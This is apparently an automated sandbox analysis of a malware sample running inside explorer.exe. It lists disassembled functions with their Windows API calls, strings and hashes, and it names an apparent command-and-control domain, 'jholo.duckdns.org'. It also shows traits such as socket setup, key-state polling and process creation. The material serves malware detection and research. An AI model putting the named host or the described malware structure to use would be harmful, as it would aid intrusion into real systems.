Instruction Fuzzy Hash: F4310632A07A8188EF2EDF69C4E07EC2760EB98B98F085535CB0A5A764CF28D091C351

Function 011918F0 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 115processmemorysynchronizationCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32 ref: 011919EA
LocalAlloc.KERNEL32 ref: 01191A6F
CreateProcessW.KERNEL32 ref: 01191AFB
WaitForSingleObject.KERNEL32 ref: 01191B13
CloseHandle.KERNEL32 ref: 01191B21
CloseHandle.KERNEL32 ref: 01191B2F
LocalFree.KERNEL32 ref: 01191B3D
LocalFree.KERNEL32 ref: 01191B4B

Part of subcall function 011A7E10: lstrlenW.KERNEL32 ref: 011A7E5C

LocalFree.KERNEL32 ref: 01191B6C
LocalFree.KERNEL32 ref: 01191B85

Strings

h, xrefs: 01191A37

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$CloseHandle$AllocCreateDirectoryObjectProcessSingleSystemWaitlstrlen
String ID: h
API String ID: 1515568942-2439710439
Opcode ID: 86f9bf02f743d2894e55c04eb65c7a6281638eb6958314ddbfe74eab8205a53b
Instruction ID: 7d1fbac3d5c6dda3523df7dad649055ccfd4f7ee90450cba2606d0ec06be5bee
Opcode Fuzzy Hash: 86f9bf02f743d2894e55c04eb65c7a6281638eb6958314ddbfe74eab8205a53b
Instruction Fuzzy Hash: D6510772218BC586EB749B14F4983DAB3A1F788758F400229DB9947BA9DF7CC084CF04

Function 011B7060 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 99stringsynchronizationCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32 ref: 011B70E4
WaitForMultipleObjects.KERNEL32 ref: 011B7138
WaitForSingleObject.KERNEL32 ref: 011B714B
lstrcpyA.KERNEL32 ref: 011B71A0
ReleaseMutex.KERNEL32 ref: 011B71BA
ReleaseMutex.KERNEL32 ref: 011B715F

Part of subcall function 011B52E0: lstrlenW.KERNEL32 ref: 011B531D
Part of subcall function 011B52E0: setsockopt.WS2_32 ref: 011B541C

lstrcpyA.KERNEL32 ref: 011B722D

Strings

haxwolf, xrefs: 011B708C, 011B71D8
jholo.duckdns.org, xrefs: 011B70B6, 011B70D6

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: lstrcpy$MutexReleaseWait$MultipleObjectObjectsSinglelstrlensetsockopt
String ID: haxwolf$jholo.duckdns.org
API String ID: 864648930-688611332
Opcode ID: fecf3f146bdccc097897548b89d67b5fd197065297feea364247b3118dd6945e
Instruction ID: e46d4d3a7e7d58d231c486c4c9c03d94863ff19648d1739dd4977ac574b05047
Opcode Fuzzy Hash: fecf3f146bdccc097897548b89d67b5fd197065297feea364247b3118dd6945e
Instruction Fuzzy Hash: 9151D435218B8186EB58DF94F8843DAB7A5F784754F40012AEA8E83BA4EF7DD546CB40

Function 01199240 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 80memoryprocessCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 01199251
GetSystemDirectoryW.KERNEL32 ref: 01199272
LocalFree.KERNEL32 ref: 011993E6

Part of subcall function 0119F510: SHGetKnownFolderPath.SHELL32 ref: 0119F587
Part of subcall function 0119F510: lstrlenW.KERNEL32 ref: 0119F59A
Part of subcall function 0119F510: lstrlenW.KERNEL32 ref: 0119F5B5
Part of subcall function 0119F510: LocalAlloc.KERNEL32 ref: 0119F5DC
Part of subcall function 0119F510: lstrlenW.KERNEL32 ref: 0119F620
Part of subcall function 0119F510: CoTaskMemFree.COMBASE ref: 0119F635

LocalAlloc.KERNEL32 ref: 011992AC
LocalFree.KERNEL32 ref: 011993DB

Part of subcall function 011A7E10: lstrlenW.KERNEL32 ref: 011A7E5C

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

CreateProcessW.KERNEL32 ref: 01199398
LocalFree.KERNEL32 ref: 011993A8
LocalFree.KERNEL32 ref: 011993B3
LocalFree.KERNEL32 ref: 011993BE
LocalFree.KERNEL32 ref: 011993D0

Strings

h, xrefs: 0119932E

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$lstrlen$Alloc$CreateDirectoryFolderKnownPathProcessSystemTask_errno_invalid_parameter_noinfo
String ID: h
API String ID: 2101662253-2439710439
Opcode ID: 81c729fb1548c2497bd964f0e68264aaa04e06b1614a93f71b7eab89c15ca4a2
Instruction ID: 138e177c477f6807f36f359a0050e299873e983373bed3f5e740a69340a1e482
Opcode Fuzzy Hash: 81c729fb1548c2497bd964f0e68264aaa04e06b1614a93f71b7eab89c15ca4a2
Instruction Fuzzy Hash: A2411436218A8582E7249B65F88439EB7A1F7C4754F404129EB8E47BA8CF7DC559CB80

Function 011A77B0 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 70registryCOMMON

Download Yara Rule

APIs

Part of subcall function 011A5AA0: LocalAlloc.KERNEL32 ref: 011A5ADE
Part of subcall function 011A5AA0: LocalAlloc.KERNEL32 ref: 011A5AFF
Part of subcall function 011A5AA0: wnsprintfW.SHLWAPI ref: 011A5B3F
Part of subcall function 011A5AA0: wnsprintfW.SHLWAPI ref: 011A5B5D
Part of subcall function 011A5AA0: LocalFree.KERNEL32 ref: 011A64D6

_LDint.LIBCPMTD ref: 011A77FF
RegOpenKeyExW.ADVAPI32 ref: 011A7873
RegQueryValueExW.ADVAPI32 ref: 011A78AF
RegCloseKey.ADVAPI32 ref: 011A78BE
LocalFree.KERNEL32 ref: 011A78C9
LocalFree.KERNEL32 ref: 011A78D4
RegCloseKey.ADVAPI32 ref: 011A78E6
LocalFree.KERNEL32 ref: 011A78F1
LocalFree.KERNEL32 ref: 011A78FC

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

Strings

{A25A8DA7-6938-4CAB-8D05-4B8A4D0816BC}, xrefs: 011A7837
SOFTWARE\%s, xrefs: 011A783E

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocClosewnsprintf$DintOpenQueryValue_errno_invalid_parameter_noinfo
String ID: SOFTWARE\%s${A25A8DA7-6938-4CAB-8D05-4B8A4D0816BC}
API String ID: 3338012236-4275378529
Opcode ID: 23279cb71c4bd6c0847ceeffee9e97ff6c10eb49710966fc57f16e99fcffcdd2
Instruction ID: e45a445577a9956b95e7c1a89b50dc89b77e368c6014a75ed7b404d745879f49
Opcode Fuzzy Hash: 23279cb71c4bd6c0847ceeffee9e97ff6c10eb49710966fc57f16e99fcffcdd2
Instruction Fuzzy Hash: 5C314C76228A8482D754DF24F89479AB761FBC4794F801526FB8A83B68DF7DC545CB00

Function 011B5CE0 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 69memorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 011B5CF1
lstrcpyW.KERNEL32 ref: 011B5D35

Part of subcall function 011ADEF0: AllocateAndInitializeSid.ADVAPI32 ref: 011ADF62
Part of subcall function 011ADEF0: CheckTokenMembership.ADVAPI32 ref: 011ADF7F
Part of subcall function 011ADEF0: FreeSid.ADVAPI32 ref: 011ADF96

GetModuleFileNameW.KERNEL32 ref: 011B5D55
LocalFree.KERNEL32 ref: 011B5D64
LocalFree.KERNEL32 ref: 011B5D9A

Strings

%s [%d], xrefs: 011B5E07
CRYPTEDBYTE, xrefs: 011B5D2B

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: FreeLocal$AllocAllocateCheckFileInitializeMembershipModuleNameTokenlstrcpy
String ID: %s [%d]$CRYPTEDBYTE
API String ID: 2255487582-4036669475
Opcode ID: 235aeaa75262449ed08cf0da43ebc2be91080f72e874cb04567873c9e88faed6
Instruction ID: e0e27280d61e260c6c3b66b2804a41e7dbf6c7a645afc1f51d143e5feccb5549
Opcode Fuzzy Hash: 235aeaa75262449ed08cf0da43ebc2be91080f72e874cb04567873c9e88faed6
Instruction Fuzzy Hash: 29311C71218A8586DB989F55E8883DE67A1F7C8788F400125E78F87B74DF7DC085CB40

Function 011994B0 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 56memorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,01199412), ref: 011994C7
LocalAlloc.KERNEL32(?,?,?,?,?,?,?,?,01199412), ref: 011994F1
SHGetKnownFolderPath.SHELL32(?,?,?,?,?,?,?,?,?,?,01199412), ref: 01199522
lstrlenW.KERNEL32(?,?,?,?,?,?,?,?,?,?,01199412), ref: 01199535
CoTaskMemFree.COMBASE(?,?,?,?,?,?,?,?,?,?,01199412), ref: 011995AA

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,01199412), ref: 0119958D
CoTaskMemFree.COMBASE(?,?,?,?,?,?,?,?,?,?,01199412), ref: 01199598
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,01199412), ref: 011995B5
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,01199412), ref: 011995C0

Strings

%s\System32, xrefs: 01199572
\\?\%s , xrefs: 01199557

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: FreeLocal$AllocTask$FolderKnownPath_errno_invalid_parameter_noinfolstrlen
String ID: %s\System32$\\?\%s
API String ID: 2950865958-2868705786
Opcode ID: e87af4adcf4b971b7a9ea5863792aeab0100afc9c8f44779608da6c5abcd29c6
Instruction ID: 782d7f92d192667c0bff4b9f7b263fccac920eef538cc1d8da70b46b4f71f3e2
Opcode Fuzzy Hash: e87af4adcf4b971b7a9ea5863792aeab0100afc9c8f44779608da6c5abcd29c6
Instruction Fuzzy Hash: 5821DB72124A8582E7289F15E8947EA7761F7C8B5CF54012AFB8E47B68DF3CC545CB40

Function 011C0494 Relevance: 18.1, APIs: 12, Instructions: 149COMMONLIBRARYCODE

Download Yara Rule

APIs

_fileno.LIBCMT ref: 011C04C8

Part of subcall function 011C046C: _errno.LIBCMT ref: 011C0475
Part of subcall function 011C046C: _invalid_parameter_noinfo.LIBCMT ref: 011C0480

_fileno.LIBCMT ref: 011C04E3
_fileno.LIBCMT ref: 011C04F0
_fileno.LIBCMT ref: 011C04FF

Part of subcall function 011B9A64: _fileno.LIBCMT ref: 011B9A81
Part of subcall function 011B9A64: _errno.LIBCMT ref: 011B9A91

_fileno.LIBCMT ref: 011C0529
_fileno.LIBCMT ref: 011C0536
_fileno.LIBCMT ref: 011C0543
_fileno.LIBCMT ref: 011C0552
_fileno.LIBCMT ref: 011C057C
_fileno.LIBCMT ref: 011C0589
_fileno.LIBCMT ref: 011C0596
_fileno.LIBCMT ref: 011C05A5

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _fileno$_errno$_invalid_parameter_noinfo
String ID:
API String ID: 482796045-0
Opcode ID: b4b3d6fc9dc7e4860d266c267018562cdbfaf00e8137f1052f831943caba0ce4
Instruction ID: 6f15b0419c31f528d0da3ead016592757c28bbf1808ba697c526ee964b71db9e
Opcode Fuzzy Hash: b4b3d6fc9dc7e4860d266c267018562cdbfaf00e8137f1052f831943caba0ce4
Instruction Fuzzy Hash: 1F51062A214A91C5DB2C9F3999902BD6720FBB9FA8F144319FB7A4B7D0DF28C4528301

Function 011B98B4 Relevance: 18.1, APIs: 12, Instructions: 93COMMON

Download Yara Rule

APIs

GetStartupInfoW.KERNEL32 ref: 011B98C6
_FF_MSGBANNER.LIBCMT ref: 011B9931
_FF_MSGBANNER.LIBCMT ref: 011B995C
_RTC_Initialize.LIBCMT ref: 011B9975
_amsg_exit.LIBCMT ref: 011B9989
GetCommandLineA.KERNEL32 ref: 011B998E
__setargv.LIBCMT ref: 011B99A7
_amsg_exit.LIBCMT ref: 011B99B5
_amsg_exit.LIBCMT ref: 011B99C8
_cinit.LIBCMT ref: 011B99D2
_amsg_exit.LIBCMT ref: 011B99DD
_wincmdln.LIBCMT ref: 011B99E2

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _amsg_exit$CommandInfoInitializeLineStartup__setargv_cinit_wincmdln
String ID:
API String ID: 4082634633-0
Opcode ID: b44917637bbf1f89a7f45a35ef9faf2f22883a734568f6132f706dea1eeab0f1
Instruction ID: 4c097eab109bc50fe30132c052377d90b74748e1b7a1e326f72455aecd102466
Opcode Fuzzy Hash: b44917637bbf1f89a7f45a35ef9faf2f22883a734568f6132f706dea1eeab0f1
Instruction Fuzzy Hash: E031AF7060174786EBAD77B5A8D03F922A5AF9134CF044039DB5683292FF7CC446C752

Function 011A2310 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 144threadsleepkeyboardCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32 ref: 011A2590
RtlExitUserThread.NTDLL ref: 011A259F
GetAsyncKeyState.USER32 ref: 011A25AA
OpenEventW.KERNEL32 ref: 011A2641

Part of subcall function 011A7E10: lstrlenW.KERNEL32 ref: 011A7E5C

Sleep.KERNEL32 ref: 011A2602
SetEvent.KERNEL32 ref: 011A2662
CloseHandle.KERNEL32 ref: 011A2670
RtlExitUserThread.NTDLL ref: 011A2678

Strings

2, xrefs: 011A2533
{29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}, xrefs: 011A2633

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: EventExitThreadUser$AsyncCloseHandleObjectOpenSingleSleepStateWaitlstrlen
String ID: 2${29C72B9F-C97F-4A3E-B2AD-47E00C9D4930}
API String ID: 4137407306-994883157
Opcode ID: 994a8e8ff916f57d867b8865c044ee6ee85714d811b882fb27882ff3b1c0216c
Instruction ID: 3a87a6edddbcbea6d76d134fd338ae0d74a888d1ce2028879ae8fa10459f03b9
Opcode Fuzzy Hash: 994a8e8ff916f57d867b8865c044ee6ee85714d811b882fb27882ff3b1c0216c
Instruction Fuzzy Hash: 17819376209BC485D779DB10F4943DAB7A8F788354F90422ACB8D42B68EF3CC199CB44

Function 011BB400 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 011BB430

Part of subcall function 011BAD98: _amsg_exit.LIBCMT ref: 011BADAE

_getptd.LIBCMT ref: 011BB444
_getptd.LIBCMT ref: 011BB47E
_getptd.LIBCMT ref: 011BB48A
_getptd.LIBCMT ref: 011BB496
_CreateFrameInfo.LIBCMT ref: 011BB4AB

Part of subcall function 011B8A38: _getptd.LIBCMT ref: 011B8A44
Part of subcall function 011B8A38: _getptd.LIBCMT ref: 011B8A52
Part of subcall function 011B8A38: _getptd.LIBCMT ref: 011B8A66

_getptd.LIBCMT ref: 011BB4C9
_getptd.LIBCMT ref: 011BB5CF
_getptd.LIBCMT ref: 011BB5DB

Strings

csm, xrefs: 011BB58F

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: _getptd$CreateFrameInfo_amsg_exit
String ID: csm
API String ID: 2825728721-1018135373
Opcode ID: 0cd7f8e15f380f6a6fea30ba78b5612564a28041d2ae9aefdf9c6c58aa47cef5
Instruction ID: 1ae8f5c6b31d13ba5c8ba4ec2abf09cecb116e6338b3ef2795fa07ae30752f85
Opcode Fuzzy Hash: 0cd7f8e15f380f6a6fea30ba78b5612564a28041d2ae9aefdf9c6c58aa47cef5
Instruction Fuzzy Hash: BD417E36204B82D2CA39AF16F4803AE77A5FB89BA9F444225DF9D07B54DF38C0A5C701

Function 011A01E0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 71memorystringCOMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32 ref: 011A01F8
LocalAlloc.KERNEL32 ref: 011A0210
LocalFree.KERNEL32 ref: 011A030B

Part of subcall function 011B84A8: _errno.LIBCMT ref: 011B84DF
Part of subcall function 011B84A8: _invalid_parameter_noinfo.LIBCMT ref: 011B84EA

lstrlenW.KERNEL32 ref: 011A0262
GetFileAttributesW.KERNEL32 ref: 011A02CA
SHFileOperationW.SHELL32 ref: 011A02E3
CoTaskMemFree.COMBASE ref: 011A0316

Strings

%s\%s, xrefs: 011A0247
{1696C082-D722-4591-A9C7-217696659A97}, xrefs: 011A0236

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

Yara matches

Similarity

API ID: FileFreeLocal$AllocAttributesFolderKnownOperationPathTask_errno_invalid_parameter_noinfolstrlen
String ID: %s\%s${1696C082-D722-4591-A9C7-217696659A97}
API String ID: 2444233868-2324704760
Opcode ID: 114d894e8b8712ade2050ea490133d1fbe5f606a5f121444ac17ba17da42a113
Instruction ID: 58781f1bdee60c4d28a038988eb67b3567e01d9149b80216e0d5e198837e0714
Opcode Fuzzy Hash: 114d894e8b8712ade2050ea490133d1fbe5f606a5f121444ac17ba17da42a113
Instruction Fuzzy Hash: 4E312075218A4486E758DF19E8843AA7BB1FBC9794F501026F78F83A68DF3DC486CB00

Function 011AC260 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 63windowregistryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 011AC26E
RegisterClassW.USER32 ref: 011AC2BC
GetLastError.KERNEL32 ref: 011AC2D0
CreateWindowExW.USER32 ref: 011AC33B
GetMessageW.USER32 ref: 011AC367
TranslateMessage.USER32 ref: 011AC379
DispatchMessageW.USER32 ref: 011AC387
DestroyWindow.USER32 ref: 011AC396
UnregisterClassW.USER32 ref: 011AC3B1

Strings

{2C62FD04-7315-45E1-81CC-8E836772E64E}, xrefs: 011AC299, 011AC332, 011AC3AA

Memory Dump Source

Source File: 00000003.00000002.3291508536.0000000001191000.00000020.00001000.00020000.00000000.sdmp, Offset: 01190000, based on PE: true

Associated: 00000003.00000002.3291495277.0000000001190000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291531649.00000000011C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011D4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011ED000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011EF000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291546585.00000000011F9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3291611655.00000000011FD000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1190000_explorer.jbxd

